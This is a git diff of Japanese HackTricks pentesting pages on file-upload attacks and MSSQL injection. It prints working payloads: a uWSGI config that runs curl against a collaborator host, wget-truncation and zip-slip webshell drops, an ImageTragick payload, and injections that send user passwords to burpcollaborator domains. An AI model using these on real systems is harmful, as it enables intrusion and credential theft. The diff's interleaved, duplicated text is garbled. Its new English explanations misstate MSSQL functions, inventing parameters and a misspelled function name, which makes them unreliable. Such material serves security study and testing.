Jetty サーバーに XML ファイルをアップロードできる場合、[**新しい \*.xml と \*.war は自動的に処理されるため、RCE を取得できます**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** したがって、次の画像に示すように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードし、シェルを期待します!
|
||||
Jetty サーバーに XML ファイルをアップロードできる場合、[**新しい \*.xml と \*.war は自動的に処理** されるため、RCE を取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** したがって、次の画像に示すように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードし、シェルを期待してください!
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (3) (1).png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
[**uWSGI サーバーの `.ini` 設定ファイルを置き換えることで RCE を取得できます**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** 実際には、uWSGI の設定ファイルには、特定の構文で定義された「マジック」変数、プレースホルダー、および演算子が含まれています。特に、`@` 演算子は、@(ファイル名) の形式でファイルの内容を含めるために使用されます。多くの uWSGI スキームがサポートされており、プロセスの標準出力から読み取るために便利な「exec」も含まれています。これらの演算子は、.ini 設定ファイルが解析されるときに、リモートコマンド実行または任意のファイルの書き込み/読み取りに対して武器として使用できます。
|
||||
[**uWSGI サーバーの .ini** 設定ファイルを置き換えることができる場合、RCE を取得できます](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** 実際には、uWSGI の設定ファイルには、特定の構文で定義された「マジック」変数、プレースホルダー、および演算子が含まれています。特に、'@' 演算子は、@(ファイル名) の形式でファイルの内容を含めるために使用されます。多くの uWSGI スキームがサポートされており、プロセスの標準出力から読み取るために便利な「exec」も含まれています。これらの演算子は、.ini 設定ファイルが解析されるときに、リモートコマンド実行または任意のファイルの書き込み/読み取りに使用することができます。
|
||||
|
||||
悪意のある `uwsgi.ini` ファイルの例:
|
||||
悪意のある `uwsgi.ini
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
|
@ -142,14 +141,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
**設定**ファイルが**解析**されると、**ペイロード**が**実行**されます。設定が解析されるためには、プロセスを再起動する必要があります(クラッシュ?DoS?)またはファイルが自動でリロードされる必要があります(変更が見つかった場合にファイルをリロードする秒数を示すオプションが使用されている場合)。
|
||||
**設定**ファイルが**解析**されると、**ペイロード**が**実行**されます。設定が解析されるためには、プロセスを再起動する必要があります(クラッシュ?DoS?)またはファイルが自動でリロードされる必要があります(変更がある場合にファイルをリロードする秒数を示すオプションが使用されている場合)。
|
||||
|
||||
**重要な注意点:** uWSGIの設定ファイルの解析は寛容です。前述のペイロードはバイナリファイル(例:画像、PDFなど)の中に埋め込むこともできます。
|
||||
**重要な注意:** uWSGIの設定ファイルの解析は寛容です。前述のペイロードはバイナリファイル(例:画像、PDFなど)の中に埋め込むこともできます。
|
||||
|
||||
## **wgetファイルのアップロード/SSRFトリック**
|
||||
|
||||
特定の場合に、サーバーが**`wget`**を使用してファイルを**ダウンロード**し、**URL**を指定できることがあります。この場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされるようにします。ただし、**このチェックは回避できます。**\
|
||||
**Linux**での**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。したがって、**"A"\*232+".php"+".gif"**という名前のファイルをダウンロードできます。このファイル名は**チェックをバイパス**します(この例では**".gif"**が**有効な**拡張子です)。ただし、`wget`はファイルを**"A"\*232+".php"**という名前に**リネーム**します。
|
||||
特定の場合に、サーバーが**`wget`**を使用してファイルをダウンロードし、**URL**を指定できることがあります。これらの場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされるようにします。ただし、**このチェックは回避できます。**\
|
||||
**Linux**での**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。したがって、**"A"\*232+".php"+".gif"**という名前のファイルをダウンロードできます。このファイル名はチェックを**バイパス**します(この例では**".gif"**が**有効な**拡張子です)。ただし、`wget`はファイルを**"A"\*232+".php"**という名前に**リネーム**します。
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -172,7 +171,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
**別のオプション**として考えられるのは、**HTTPサーバーが別のファイルにリダイレクトするようにする**ことです。そのため、初期のURLはチェックをバイパスしますが、wgetは新しい名前でリダイレクトされたファイルをダウンロードします。これは、wgetが**パラメータ**`--trust-server-names`とともに使用されている場合にのみ機能します。なぜなら、wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロードするからです。
|
||||
**別のオプション**として考えられるのは、**HTTPサーバーが別のファイルにリダイレクトする**ようにすることです。そのため、初期のURLはチェックをバイパスし、wgetは新しい名前でリダイレクトされたファイルをダウンロードします。これは**wgetがパラメータ`--trust-server-names`とともに使用されている場合にのみ機能します**。なぜなら、wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロードするからです。
|
||||
|
||||
#### その他のリソース
|
||||
|
||||
|
@ -187,30 +186,30 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
* **ファイル名**を`sleep(10)-- -.jpg`に設定し、**SQLインジェクション**を試みることができるかもしれません
|
||||
* **ファイル名**を`<svg onload=alert(document.domain)>`に設定して、XSSを実現する
|
||||
* **ファイル名**を`; sleep 10;`に設定して、いくつかのコマンドインジェクションをテストする(詳細は[こちら](../command-injection.md))
|
||||
* [画像(svg)ファイルの**XSS**](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS**ファイルの**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**svgアップロード**におけるXXE](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [svgファイルのアップロードによる**オープンリダイレクト**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [画像(svg)ファイルのXSS](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS**ファイルの**アップロード**+**XSS**=[**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [svgアップロードの**XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [svgファイルの**オープンリダイレクト**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)からさまざまなsvgペイロードを試してみてください
|
||||
* [有名な**ImageTrick**の脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* ウェブサーバーに画像をURLから取得するように指示できる場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
|
||||
* [PDF-Adobeアップロードにおける**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* XSSのために特別に作成されたPDF:[次のページでは、PDFデータを注入してJSの実行を行う方法](../xss-cross-site-scripting/pdf-injection.md)を示しています。PDFをアップロードできる場合は、指示に従って任意のJSを実行するためのPDFを準備することができます。
|
||||
* ウェブサーバーに画像をURLから取得するように指示できる場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用してみることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
|
||||
* [PDF-Adobeアップロードによる**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* XSSのための特別に作成されたPDF:[次のページでは、PDFデータを注入してJSの実行を行う方法](../xss-cross-site-scripting/pdf-injection.md)を示しています。PDFをアップロードできる場合は、指示に従って任意のJSを実行するためのPDFを準備することができます。
|
||||
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))のコンテンツをアップロードして、サーバーに**アンチウイルス**があるかどうかを確認します
|
||||
* ファイルのアップロード時に**サイズ制限**があるかどうかを確認します
|
||||
|
||||
以下は、アップロードによって達成できる10のことを示したトップ10リストです([リンク](https://twitter.com/SalahHasoneh1/status/1281274120395685889)から):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**:Webシェル / RCE
|
||||
2. **SVG**:格納型XSS / SSRF / XXE
|
||||
3. **GIF**:格納型XSS / SSRF
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**:Webシェル/RCE
|
||||
2. **SVG**:格納型XSS/SSRF/XXE
|
||||
3. **GIF**:格納型XSS/SSRF
|
||||
4. **CSV**:CSVインジェクション
|
||||
5. **XML**:XXE
|
||||
6. **AVI**:LFI / SSRF
|
||||
7. **HTML / JS**:HTMLインジェクション / XSS / オープンリダイレクト
|
||||
6. **AVI**:LFI/SSRF
|
||||
7. **HTML / JS**:HTMLインジェクション/XSS/オープンリダイレクト
|
||||
8. **PNG / JPEG**:ピクセルフラッド攻撃(DoS)
|
||||
9. **ZIP**:LFI経由のRCE / DoS
|
||||
10. **PDF / PPTX**:SSRF / BLIND XXE
|
||||
9. **ZIP**:LFI経由のRCE/DoS
|
||||
10. **PDF / PPTX**:SSRF/BLIND XXE
|
||||
|
||||
#### Burp拡張機能
|
||||
|
||||
|
@ -235,24 +234,20 @@ ln -s ../../../index.php symindex.txt
|
|||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 異なるフォルダで解凍する
|
||||
### 異なるフォルダに解凍する
|
||||
|
||||
解凍されたファイルは予期しないフォルダに作成されます。
|
||||
|
||||
OSレベルのコマンド実行から悪意のあるファイルのアップロードを保護するために、この設定が有効であると簡単に想像することができますが、残念ながらこれは真実ではありません。ZIPアーカイブ形式は階層的な圧縮をサポートしており、さらに上位のディレクトリを参照することもできるため、ターゲットアプリケーションの解凍機能を悪用することで安全なアップロードディレクトリから脱出することができます。
|
||||
OSレベルのコマンド実行から悪意のあるファイルのアップロードを保護するために、この設定が有効であると簡単に思い込むことができますが、残念ながらこれは真実ではありません。ZIPアーカイブ形式は階層的な圧縮をサポートしており、さらに上位のディレクトリを参照することもできるため、対象アプリケーションの解凍機能を悪用することで安全なアップロードディレクトリから脱出することができます。
|
||||
|
||||
この種のファイルを作成するための自動化されたエクスプロイトはこちらで見つけることができます: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
|
||||
この種のファイルを作成するための自動化されたエクスプロイトは、こちらで見つけることができます: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
|
||||
```python
|
||||
python2 evilarc.py -h
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
以下は、ファイル `/flag.txt` にフラグがある場合に、**evilarc を使用してシンボリックリンクトリックを行う**方法です。evilarc を呼び出す際にエラーが発生しないように、**そのファイルへのシンボリックリンクを作成**し、**システム内にそのファイルを作成**してください。
|
||||
あなたは、**evilarcを使用したシンボリックリンクのトリック**も利用することができます。もしフラグが`/flag.txt`にある場合は、**そのファイルへのシンボリックリンクを作成**し、**システム内にそのファイルを作成**しておくことで、evilarcを呼び出した際に**エラーが発生しないように**します。
|
||||
|
||||
悪意のある zip ファイルを作成するための Python コード:
|
||||
|
||||
```python
|
||||
# Python code here
|
||||
```
|
||||
悪意のあるzipファイルを作成するためのPythonコードの例:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
|
@ -308,7 +303,7 @@ root@s2crew:/tmp#
|
|||
```
|
||||
完了!
|
||||
|
||||
あと一つ手順が残っています:ZIPファイルをアップロードし、アプリケーションに解凍させます!成功すれば、ウェブサーバーに十分な権限があれば、システム上に簡単なOSコマンド実行シェルがあります:
|
||||
あと一つ手順が残っています:ZIPファイルをアップロードし、アプリケーションに解凍させます!成功すれば、ウェブサーバーに十分な権限があれば、システム上に簡単なOSコマンド実行シェルが存在します:
|
||||
|
||||
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
|
||||
|
||||
|
@ -316,7 +311,7 @@ root@s2crew:/tmp#
|
|||
|
||||
## ImageTragic
|
||||
|
||||
このコンテンツを画像拡張子付きでアップロードして脆弱性を悪用してください **(ImageMagick , 7.0.1-1)**
|
||||
このコンテンツを画像拡張子付きでアップロードして、脆弱性を悪用してください **(ImageMagick , 7.0.1-1)**
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
|
@ -325,22 +320,22 @@ pop graphic-context
|
|||
```
|
||||
## PNGにPHPシェルを埋め込む
|
||||
|
||||
IDATチャンクにウェブシェルを配置する主な理由は、リサイズや再サンプリング操作をバイパスできる能力があるためです。PHP-GDには、これを行うための2つの関数、[imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php)と[imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php)が含まれています。
|
||||
IDATチャンクにウェブシェルを配置する主な理由は、リサイズや再サンプリング操作をバイパスできるためです。PHP-GDには、これを行うための2つの関数、[imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php)と[imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php)が含まれています。
|
||||
|
||||
この投稿を読んでください:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## ポリグロットファイル
|
||||
|
||||
セキュリティの文脈でのポリグロットとは、複数の異なるファイルタイプの有効な形式であるファイルのことを指します。例えば、[GIFAR](https://en.wikipedia.org/wiki/Gifar)はGIFとRARの両方のファイルです。また、GIFとJSの両方、PPTとJSの両方など、複数のファイルタイプであるファイルも存在します。
|
||||
セキュリティの文脈でのポリグロットとは、複数の異なるファイル形式の有効な形式であるファイルのことを指します。例えば、[GIFAR](https://en.wikipedia.org/wiki/Gifar)はGIFとRARの両方のファイルです。また、GIFとJSの両方、PPTとJSの両方など、複数の形式であるファイルも存在します。
|
||||
|
||||
ポリグロットファイルは、ファイルタイプに基づく保護をバイパスするためによく使用されます。ユーザーが危険なファイル(JSファイル、PHPファイル、Pharファイルなど)をアップロードすることを防ぐために、ファイルのアップロードを許可するアプリケーションの多くは、JPEG、GIF、DOCなどの特定のタイプのアップロードのみを許可します。
|
||||
|
||||
これにより、複数の異なる形式の形式に準拠したファイルをアップロードすることができます。JPEGのように見えるが、実際にはPHARファイル(PHp ARchive)であるファイルをアップロードすることができますが、有効な拡張子が必要であり、アップロード機能が許可しない場合は役に立ちません。
|
||||
これにより、複数の異なる形式の形式に準拠したファイルをアップロードできます。JPEGのように見えるが、実際にはPHARファイル(PHp ARchive)であるファイルをアップロードすることができますが、有効な拡張子が必要であり、アップロード機能が許可しない場合は役に立ちません。
|
||||
|
||||
詳細はこちら:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**バグバウンティのヒント**:ハッカーによって作成されたプレミアムなバグバウンティプラットフォームである**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
|
||||
**バグバウンティのヒント**:ハッカーによって作成されたプレミアムなバグバウンティプラットフォームである**Intigriti**に**サインアップ**しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -348,10 +343,10 @@ IDATチャンクにウェブシェルを配置する主な理由は、リサイ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,8 +7,8 @@
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -17,9 +17,9 @@
|
|||
MSSQLサーバー内でのSQLインジェクションを使用して、次のMSSQL関数を使用してドメインユーザーを列挙することができる場合があります。
|
||||
|
||||
* **`SELECT DEFAULT_DOMAIN()`**: 現在のドメイン名を取得します。
|
||||
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: ドメインの名前を知っている場合(この例では_DOMAIN)、この関数は16進数形式でユーザーAdministratorの**SIDを返します**。これは`0x01050000000[...]0000f401`のように見えます。最後の4バイトは、**big endian**形式での**ユーザーadministratorの共通IDである500**です。\
|
||||
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: ドメインの名前を知っている場合(この例では_DOMAIN_)、この関数は16進数形式でユーザーAdministratorの**SIDを返します**。これは`0x01050000000[...]0000f401`のように見えます。最後の4バイトはビッグエンディアン形式で**500**という数値であり、これは**ユーザーAdministratorの一般的なID**です。\
|
||||
この関数を使用すると、最後の4バイト以外の**ドメインのIDを知る**ことができます。
|
||||
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : この関数は、指定されたIDの**ユーザー名を返します**(存在する場合)。この場合、big endianで**0000e803** == **1000**(通常、これは最初の通常のユーザーIDのIDです)。その後、1000から2000までのユーザーIDをブルートフォースし、おそらくドメインのすべてのユーザーのユーザー名を取得できると想像できます。次のような関数を使用することができます:
|
||||
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : この関数は、指定されたIDの**ユーザー名を返します**(存在する場合)。この場合、ビッグエンディアンで**0000e803** == **1000**(通常、これは最初の通常のユーザーIDのIDです)。その後、1000から2000までのユーザーIDをブルートフォースし、おそらくドメインのすべてのユーザーのユーザー名を取得できると想像できます。たとえば、次のような関数を使用することができます:
|
||||
```python
|
||||
def get_sid(n):
|
||||
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
||||
|
@ -29,7 +29,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
|||
```
|
||||
## **代替エラーベースのベクトル**
|
||||
|
||||
エラーベースのSQLインジェクションは通常、`+AND+1=@@version--`などの構造を持ち、OR演算子に基づくバリエーションもあります。このような式を含むクエリは通常、WAFによってブロックされます。バイパスとして、特定の関数呼び出しの結果に%2b文字を使用して文字列を連結し、求めているデータにデータ型変換エラーを引き起こす関数をトリガーします。
|
||||
エラーベースのSQLインジェクションは通常、`+AND+1=@@version--`といった構造を持ち、また「OR」演算子に基づくバリアントも存在します。このような式を含むクエリは通常、WAFによってブロックされます。バイパスとして、特定の関数呼び出しの結果に%2b文字を使用して文字列を連結し、求めているデータにデータ型変換エラーを引き起こす関数をトリガーします。
|
||||
|
||||
このような関数の例:
|
||||
|
||||
|
@ -51,11 +51,13 @@ https://vuln.app/getItem?id=1'%2buser_name(@@version)--
|
|||
|
||||
### `fn_xe_file_target_read_file`
|
||||
|
||||
SSRF(Server-Side Request Forgery)は、攻撃者がサーバー内の他のリソースにアクセスするためにサーバーを利用する攻撃手法です。
|
||||
SSRF(Server-Side Request Forgery)は、攻撃者がサーバー内のリソースにアクセスするためにサーバーを利用する攻撃手法です。
|
||||
|
||||
この攻撃手法は、`fn_xe_file_target_read_file`という関数を悪用して実行されます。この関数は、SQL Serverの拡張イベント(Extended Events)のファイルターゲットからファイルを読み取るために使用されます。
|
||||
この攻撃手法は、`fn_xe_file_target_read_file`という関数を悪用して実行されます。この関数は、SQL Serverの拡張イベントファイルからデータを読み取るために使用されます。
|
||||
|
||||
攻撃者は、この関数を使用して、サーバー内のファイルシステムにアクセスし、機密情報を取得することができます。この攻撃手法を防ぐためには、適切なアクセス制御と入力検証が必要です。
|
||||
攻撃者は、この関数を使用してサーバー内のファイルにアクセスし、機密情報を取得することができます。この攻撃手法は、サーバーが外部リソースにアクセスするために使用するプロキシを利用して実行されます。
|
||||
|
||||
この攻撃を防ぐためには、適切な入力検証と制限を実装する必要があります。また、セキュリティパッチやアップデートを定期的に適用することも重要です。
|
||||
```
|
||||
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
|
||||
```
|
||||
|
@ -71,13 +73,15 @@ EXEC sp_helprotect 'fn_xe_file_target_read_file';
|
|||
```
|
||||
### `fn_get_audit_file`
|
||||
|
||||
`fn_get_audit_file` is a built-in function in Microsoft SQL Server that allows you to retrieve audit information from the server's audit log files. This function is commonly used for auditing and compliance purposes, as it provides a way to access detailed information about database activities.
|
||||
`fn_get_audit_file` is a user-defined function in Microsoft SQL Server that is used to retrieve audit files. This function takes two parameters: `@file_path` and `@file_name`. The `@file_path` parameter specifies the path where the audit file is located, and the `@file_name` parameter specifies the name of the audit file.
|
||||
|
||||
To use `fn_get_audit_file`, you need to specify the path to the audit log file and provide the necessary parameters to filter the results. The function returns a table with columns representing different aspects of the audit information, such as the event type, timestamp, and target object.
|
||||
To use this function, you can execute a SQL query like the following:
|
||||
|
||||
It's important to note that `fn_get_audit_file` requires the necessary permissions to access the audit log files. Additionally, you should ensure that the audit log files are stored in a secure location to prevent unauthorized access to sensitive information.
|
||||
```sql
|
||||
SELECT * FROM dbo.fn_get_audit_file('C:\AuditFiles\', 'audit.log')
|
||||
```
|
||||
|
||||
Overall, `fn_get_audit_file` is a useful function for retrieving and analyzing audit information in Microsoft SQL Server. By leveraging this function, you can gain insights into database activities and enhance the security and compliance of your SQL Server environment.
|
||||
This query will return the contents of the audit file located at `C:\AuditFiles\audit.log`.
|
||||
```
|
||||
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
|
||||
```
|
||||
|
@ -91,22 +95,15 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL S
|
|||
Use master;
|
||||
EXEC sp_helprotect 'fn_get_audit_file';
|
||||
```
|
||||
### `fn_trace_gettable`
|
||||
### `fn_trace_gettabe`
|
||||
|
||||
`fn_trace_gettable` is a built-in function in Microsoft SQL Server that allows you to read the contents of a trace file and return the data in a tabular format. This function is commonly used for troubleshooting and performance analysis purposes.
|
||||
`fn_trace_gettabe` is a built-in function in Microsoft SQL Server that allows you to retrieve information from trace files. This function can be vulnerable to SQL injection attacks if user input is not properly sanitized.
|
||||
|
||||
To use `fn_trace_gettable`, you need to provide the path of the trace file and specify the columns you want to retrieve. The function will then parse the trace file and return the requested data.
|
||||
To exploit this vulnerability, an attacker can manipulate the input parameter of the `fn_trace_gettabe` function to execute arbitrary SQL statements. This can lead to unauthorized access, data manipulation, or even complete compromise of the database.
|
||||
|
||||
Here is the syntax for using `fn_trace_gettable`:
|
||||
To prevent SQL injection attacks, it is important to use parameterized queries or prepared statements when interacting with the database. These techniques ensure that user input is properly sanitized and treated as data, rather than executable code.
|
||||
|
||||
```sql
|
||||
SELECT *
|
||||
FROM fn_trace_gettable('C:\Path\To\TraceFile.trc', default)
|
||||
```
|
||||
|
||||
In the above example, `C:\Path\To\TraceFile.trc` is the path to the trace file you want to read. The `default` parameter specifies the default file format for the trace file.
|
||||
|
||||
Keep in mind that `fn_trace_gettable` requires the necessary permissions to access the trace file. Additionally, it is important to ensure that the trace file is not accessible to unauthorized users, as it may contain sensitive information.
|
||||
It is also recommended to implement input validation and output encoding to further protect against SQL injection attacks. Regular security assessments and penetration testing can help identify and mitigate any potential vulnerabilities in your application.
|
||||
```
|
||||
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
|
||||
```
|
||||
|
@ -122,7 +119,7 @@ EXEC sp_helprotect 'fn_trace_gettabe';
|
|||
```
|
||||
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
||||
|
||||
